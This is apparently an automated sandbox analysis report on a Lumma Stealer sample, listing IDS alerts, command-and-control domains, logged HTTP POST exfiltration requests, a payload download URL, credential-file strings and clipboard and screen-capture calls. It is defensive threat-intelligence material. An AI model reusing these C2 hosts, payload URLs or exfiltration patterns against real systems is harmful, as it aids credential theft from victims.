Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax+000002E8h]	6_2_00417FE1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov byte ptr [esi], al	6_2_00416F8D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov edx, ecx	6_2_00416F8D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov word ptr [esi], cx	6_2_00416F8D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov eax, dword ptr [esp+20h]	6_2_00424F91
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 385488F2h	6_2_00424F91
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax]	6_2_0043DFB3

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:57959 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:57959 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:57964 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:57966 -> 104.21.64.143:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:57966 -> 104.21.64.143:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:57960 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:57960 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:57972 -> 104.21.64.143:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:57974 -> 104.21.64.143:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:57968 -> 104.21.64.143:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:57968 -> 104.21.64.143:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:57967 -> 104.21.48.1:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: noisycuttej.shop
Source: Malware configuration extractor	URLs: rabidcowse.shop
Source: Malware configuration extractor	URLs: cloudewahsj.shop
Source: Malware configuration extractor	URLs: fancywaxxers.shop
Source: Malware configuration extractor	URLs: framekgirus.shop
Source: Malware configuration extractor	URLs: abruptyopsn.shop
Source: Malware configuration extractor	URLs: nearycrepso.shop
Source: Malware configuration extractor	URLs: wholersorie.shop
Source: Malware configuration extractor	URLs: tirepublicerj.shop

Source: global traffic	HTTP traffic detected: GET /xLJXQ55/mamasafa-Final.webp HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xLJXQ55/mamasafa-Final.webp HTTP/1.1Host: i.ibb.coConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 104.21.48.1 104.21.48.1
Source: Joe Sandbox View	IP Address: 169.197.85.95 169.197.85.95

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:57960 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:57961 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:57962 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:57964 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:57959 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:57965 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:57966 -> 104.21.64.143:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:57967 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:57968 -> 104.21.64.143:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:57963 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:57970 -> 104.21.64.143:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:57971 -> 104.21.64.143:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:57969 -> 104.21.64.143:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:57973 -> 104.21.64.143:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:57972 -> 104.21.64.143:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:57974 -> 104.21.64.143:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 45Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=RRHM49EL2SQH4User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12803Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=V7VZKZHIUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15015Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SFLAOZYOJ6KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20523Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=CV0HY3JT2G198N8JDZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1253Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=D3EZBBQTFUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 587756Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: aliveindu.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 80Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 46Host: aliveindu.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=VZGYHCUNU585Q4CSIQUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12834Host: aliveindu.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=3AVFGKKPLNUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15028Host: aliveindu.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=UPCZKMCJ4IAUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20524Host: aliveindu.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=4YHHB7ZBO7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1204Host: aliveindu.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=RINA7S5FEUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 587757Host: aliveindu.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 81Host: aliveindu.click

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /xLJXQ55/mamasafa-Final.webp HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xLJXQ55/mamasafa-Final.webp HTTP/1.1Host: i.ibb.coConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: i.ibb.co
Source: global traffic	DNS traffic detected: DNS query: fancywaxxers.shop
Source: global traffic	DNS traffic detected: DNS query: aliveindu.click

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fancywaxxers.shop

Source: random.exe, 00000000.00000002.2855874383.000000000A5FA000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000003.00000002.2933505940.000000000AB91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://purl.oen
Source: random.exe, 00000000.00000002.2827300089.0000000002771000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000003.00000002.2910748475.0000000003141000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: random.exe, 00000000.00000002.2847199286.0000000006300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.cox
Source: AddInProcess32.exe, 00000007.00000002.3011807434.0000000001375000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aliveindu.click/
Source: AddInProcess32.exe, 00000007.00000002.3012569421.00000000037D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aliveindu.click/A
Source: AddInProcess32.exe, 00000007.00000002.3012569421.00000000037D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aliveindu.click/Pk
Source: AddInProcess32.exe, 00000007.00000002.3011807434.0000000001375000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aliveindu.click/api
Source: AddInProcess32.exe, 00000007.00000002.3011098104.00000000012FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aliveindu.click/apiEC
Source: AddInProcess32.exe, 00000007.00000002.3011807434.0000000001375000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aliveindu.click/piF
Source: AddInProcess32.exe, 00000007.00000002.3011807434.0000000001375000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aliveindu.click/s
Source: AddInProcess32.exe, 00000007.00000002.3011098104.00000000012E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aliveindu.click:443/api
Source: AddInProcess32.exe, 00000007.00000002.3011098104.00000000012E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aliveindu.click:443/apil
Source: AddInProcess32.exe, 00000007.00000002.3011098104.00000000012E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aliveindu.click:443/apizchhhv.default-release/key4.dbPK
Source: AddInProcess32.exe, 00000006.00000002.2924472845.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000006.00000002.2923240627.0000000001039000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000006.00000002.2925689174.00000000036CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/
Source: AddInProcess32.exe, 00000006.00000002.2924472845.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000006.00000002.2924472845.00000000010A8000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000006.00000002.2923240627.000000000100C000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000006.00000002.2923240627.0000000001039000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/api
Source: AddInProcess32.exe, 00000006.00000002.2924472845.00000000010B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/qw
Source: random.exe, 00000000.00000002.2827300089.0000000002771000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000003.00000002.2910748475.0000000003141000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://i.ibb.co
Source: random.exe, 00000000.00000002.2827300089.0000000002771000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000003.00000002.2910748475.0000000003141000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://i.ibb.co/xLJXQ55/mamasafa-Final.webp
Source: random.exe, 00000000.00000002.2835225821.0000000004035000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000002.2852050299.0000000007CA0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.anon.com/frit/asfta.dara

Source: unknown	Network traffic detected: HTTP traffic on port 57959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57966
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57969
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57964
Source: unknown	Network traffic detected: HTTP traffic on port 57860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57970
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57971
Source: unknown	Network traffic detected: HTTP traffic on port 57964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57959
Source: unknown	Network traffic detected: HTTP traffic on port 57962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57860
Source: unknown	Network traffic detected: HTTP traffic on port 57967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57960
Source: unknown	Network traffic detected: HTTP traffic on port 57963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704

Source: unknown	HTTPS traffic detected: 169.197.85.95:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 169.197.85.95:443 -> 192.168.2.5:57860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.5:57959 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.5:57960 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.5:57961 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.5:57962 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.5:57963 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.5:57964 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.5:57965 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.143:443 -> 192.168.2.5:57966 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.5:57967 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.143:443 -> 192.168.2.5:57968 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.143:443 -> 192.168.2.5:57969 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.143:443 -> 192.168.2.5:57970 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.143:443 -> 192.168.2.5:57971 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.143:443 -> 192.168.2.5:57972 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.143:443 -> 192.168.2.5:57973 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.143:443 -> 192.168.2.5:57974 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 6_2_00432D70 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

6_2_00432D70

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 6_2_00432D70 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

6_2_00432D70

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 6_2_00432FE0 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

6_2_00432FE0

Source: C:\Users\user\Desktop\random.exe

Code function: 0_2_06099040 CreateProcessAsUserW,

0_2_06099040

Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_0254D40C	0_2_0254D40C
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_026D20A0	0_2_026D20A0
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_026D0C40	0_2_026D0C40
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_026D1DF2	0_2_026D1DF2
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_026D6B1F	0_2_026D6B1F
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_05FC4F58	0_2_05FC4F58
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_05FC4F49	0_2_05FC4F49
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_05FC9828	0_2_05FC9828
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_05FC981A	0_2_05FC981A
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_05FD25C0	0_2_05FD25C0
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_05FDA53E	0_2_05FDA53E
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_05FD72A8	0_2_05FD72A8
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_05FDBAF0	0_2_05FDBAF0
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_05FD2590	0_2_05FD2590
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_05FDC101	0_2_05FDC101
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_05FDB040	0_2_05FDB040
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_05FD7293	0_2_05FD7293
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_05FDCCE0	0_2_05FDCCE0
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_05FDCCCF	0_2_05FDCCCF
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_05FDE8C8	0_2_05FDE8C8
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_05FD8B18	0_2_05FD8B18
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_05FD8B08	0_2_05FD8B08
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_06092780	0_2_06092780
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_060977C8	0_2_060977C8
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_06097C28	0_2_06097C28
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_06094D08	0_2_06094D08
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_060995D8	0_2_060995D8
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_060945F8	0_2_060945F8
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_0609BE60	0_2_0609BE60
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_0609FAA8	0_2_0609FAA8
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_060982E1	0_2_060982E1
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_06092772	0_2_06092772
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_060977B9	0_2_060977B9
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_060937F0	0_2_060937F0
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_06090007	0_2_06090007
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_06097C18	0_2_06097C18
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_06090040	0_2_06090040
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_06095473	0_2_06095473
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_06095098	0_2_06095098
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_0609ECB8	0_2_0609ECB8
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_060954CA	0_2_060954CA
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_06094CF9	0_2_06094CF9
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_06094949	0_2_06094949
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_06097160	0_2_06097160
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_060945E8	0_2_060945E8
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_060929E0	0_2_060929E0
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_06093DF0	0_2_06093DF0
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_060929F0	0_2_060929F0
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_07AD53B8	0_2_07AD53B8
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_07ADDBE8	0_2_07ADDBE8
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_07AD8A10	0_2_07AD8A10
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_07AD49A0	0_2_07AD49A0
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_07AD4128	0_2_07AD4128
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_07AD2450	0_2_07AD2450
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_07ADBFE0	0_2_07ADBFE0
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_07ADD3E0	0_2_07ADD3E0
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_07AD87F8	0_2_07AD87F8
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_07AD8360	0_2_07AD8360
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_07AD8370	0_2_07AD8370
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_07AD71A8	0_2_07AD71A8
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_07AD71B8	0_2_07AD71B8
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_07ADCDE0	0_2_07ADCDE0
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_07AD952E	0_2_07AD952E
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_07AD7D20	0_2_07AD7D20
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_07AD7D10	0_2_07AD7D10
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_07AD8568	0_2_07AD8568
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_07AD8578	0_2_07AD8578
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_07AD34F1	0_2_07AD34F1
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_07AD8808	0_2_07AD8808
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_07AD406F	0_2_07AD406F
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_07B35AF0	0_2_07B35AF0
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_07B36818	0_2_07B36818
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_07B3E1A8	0_2_07B3E1A8
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_07B365F1	0_2_07B365F1
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_07B33531	0_2_07B33531
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_07B33538	0_2_07B33538
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_07B3A958	0_2_07B3A958
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_07B3349D	0_2_07B3349D
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_07B35AE1	0_2_07B35AE1
